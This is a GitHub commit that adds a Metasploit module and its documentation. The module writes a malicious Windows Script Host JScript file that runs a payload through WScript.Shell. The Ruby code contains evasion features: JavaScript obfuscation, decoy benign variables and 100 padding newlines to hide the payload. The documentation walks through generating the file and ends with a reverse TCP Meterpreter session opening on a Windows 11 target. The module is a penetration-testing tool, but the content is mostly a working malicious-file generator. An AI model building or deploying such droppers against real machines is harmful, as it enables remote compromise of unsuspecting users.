Skip to content

Commit 44c61a7

Browse files
bcolesbcoles
committed
Add Malicious Windows Script Host JScript (.js) File module
1 parent 6dcefab commit 44c61a7

File tree

2 files changed

+205
-0
lines changed

2 files changed

+205
-0
lines changed

‎documentation/modules/exploit/windows/fileformat/windows_script_host_jscript.md‎

Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
## Vulnerable Application
2+
3+
This module creates a Windows Script Host (WSH) JScript (.js) file.
4+
5+
This module has been tested successfully on:
6+
7+
* Microsoft Windows 7 Professional SP1 (x86_64)
8+
* Microsoft Windows 11 Professional 21H2 (x86_64)
9+
10+
11+
## Options
12+
13+
### FILENAME
14+
15+
The JScript file name. (Default: `msf.js`).
16+
17+
### OBFUSCATE
18+
19+
Enable JavaScript obfuscation. (Default: `true`)
20+
21+
22+
## Advanced Options
23+
24+
### PrependBenignCode
25+
26+
Prepend several lines of benign code at the start of the file. (Default: `true`)
27+
28+
### PrependNewLines
29+
30+
Prepend new lines before the malicious JScript. (Default: `100`)
31+
32+
33+
## Verification Steps
34+
35+
On the Metasploit host:
36+
37+
1. Start msfconsole
38+
1. Do: `use exploit/windows/fileformat/windows_script_host_jscript`
39+
1. Do: `set filename [filename.js]`
40+
1. Do: `set payload [payload]`
41+
1. Do: `set lhost [lhost]`
42+
1. Do: `set lport [lport]`
43+
1. Do: `run`
44+
1. Do: `handler -p [payload] -P [lport] -H [lhost]`
45+
46+
On the target Windows machine:
47+
48+
1. Ensure Windows Security is disabled
49+
1. Ensure Windows Registry `HKCU` and `HKLM` key `SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled` is not present or set to 1
50+
1. Open the `msf.js` file
51+
1. If prompted to choose a program to open the file, select Windows Script Host
52+
53+
54+
## Scenarios
55+
56+
### Microsoft Windows 11 Professional 21H2 (x86_64)
57+
58+
```
59+
msf > use exploit/windows/fileformat/windows_script_host_jscript
60+
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
61+
msf exploit(windows/fileformat/windows_script_host_jscript) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
62+
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
63+
msf exploit(windows/fileformat/windows_script_host_jscript) > set lhost 192.168.200.130
64+
lhost => 192.168.200.130
65+
msf exploit(windows/fileformat/windows_script_host_jscript) > set lport 4444
66+
lport => 4444
67+
msf exploit(windows/fileformat/windows_script_host_jscript) > run
68+
[+] msf.js stored at /root/.msf4/local/msf.js
69+
msf exploit(windows/fileformat/windows_script_host_jscript) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
70+
[*] Payload handler running as background job 0.
71+
72+
[*] Started reverse TCP handler on 192.168.200.130:4444
73+
msf exploit(windows/fileformat/windows_script_host_jscript) >
74+
[*] Sending stage (203846 bytes) to 192.168.200.169
75+
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:49893) at 2025-07-20 09:14:37 -0400
76+
77+
msf exploit(windows/fileformat/windows_script_host_jscript) > sessions -i -1
78+
[*] Starting interaction with 1...
79+
80+
meterpreter > sysinfo
81+
Computer : WIN-11-PRO-X64
82+
OS : Windows 11 21H2 (10.0 Build 22000).
83+
Architecture : x64
84+
System Language : en_GB
85+
Domain : WORKGROUP
86+
Logged On Users : 2
87+
Meterpreter : x64/windows
88+
meterpreter >
89+
```

‎modules/exploits/windows/fileformat/windows_script_host_jscript.rb‎

Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GreatRanking
8+
9+
include Msf::Exploit::FILEFORMAT
10+
include Msf::Exploit::JSObfu
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Malicious Windows Script Host JScript (.js) File',
17+
'Description' => %q{
18+
This module creates a Windows Script Host (WSH) JScript (.js) file.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [
22+
'bcoles'
23+
],
24+
'References' => [
25+
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
26+
],
27+
'Arch' => [ARCH_CMD],
28+
'Platform' => 'win',
29+
'Payload' => {
30+
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
31+
'BadChars' => "\x00",
32+
'DisableNops' => true
33+
},
34+
'Targets' => [
35+
[
36+
'Microsoft Windows 98 or newer', {}
37+
],
38+
],
39+
'Privileged' => false,
40+
'DisclosureDate' => '1998-06-25', # Windows 98 release date
41+
'DefaultTarget' => 0,
42+
'DefaultOptions' => {
43+
'DisablePayloadHandler' => true
44+
},
45+
'Notes' => {
46+
'Stability' => [CRASH_SAFE],
47+
'Reliability' => [REPEATABLE_SESSION],
48+
'SideEffects' => [SCREEN_EFFECTS]
49+
}
50+
)
51+
)
52+
53+
register_options([
54+
OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']),
55+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
56+
])
57+
58+
register_advanced_options([
59+
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
60+
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious JScript.', 100]),
61+
])
62+
end
63+
64+
def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
65+
js = ''
66+
67+
# TODO: This could be improved by generating more realistic looking
68+
# benign code with functions and flow control
69+
if prepend_benign_code
70+
rand(5..10).times do
71+
js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n"
72+
end
73+
end
74+
75+
js << "\r\n" * prepend_new_lines
76+
77+
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
78+
79+
# If the payload contains " & " we presume it is a command string.
80+
#
81+
# TODO: Change this once Metasploit is able to inform a module that
82+
# the specified ARCH_CMD payload is a string of commands
83+
# (not a single command).
84+
if escaped_payload.include?(' & ')
85+
cmd = "cmd.exe /c #{escaped_payload}"
86+
else
87+
cmd = escaped_payload
88+
end
89+
90+
shell_var = rand_text_alpha(6..16)
91+
js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");"
92+
js_payload << "#{shell_var}.Run(\"#{cmd}\");"
93+
94+
if obfuscate
95+
js_obfu = Rex::Exploitation::JSObfu.new(js_payload)
96+
obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s
97+
# WSH JScript execution context does not support 'window' object
98+
obfuscated_payload = obfuscated_payload.gsub('window[', 'String[')
99+
js << obfuscated_payload
100+
else
101+
js << js_payload
102+
end
103+
104+
js
105+
end
106+
107+
def exploit
108+
js = generate_jscript(
109+
payload.encoded,
110+
prepend_benign_code: datastore['PrependBenignCode'],
111+
prepend_new_lines: datastore['PrependNewLines'],
112+
obfuscate: datastore['OBFUSCATE']
113+
)
114+
file_create(js)
115+
end
116+
end

0 commit comments

Comments
 (0)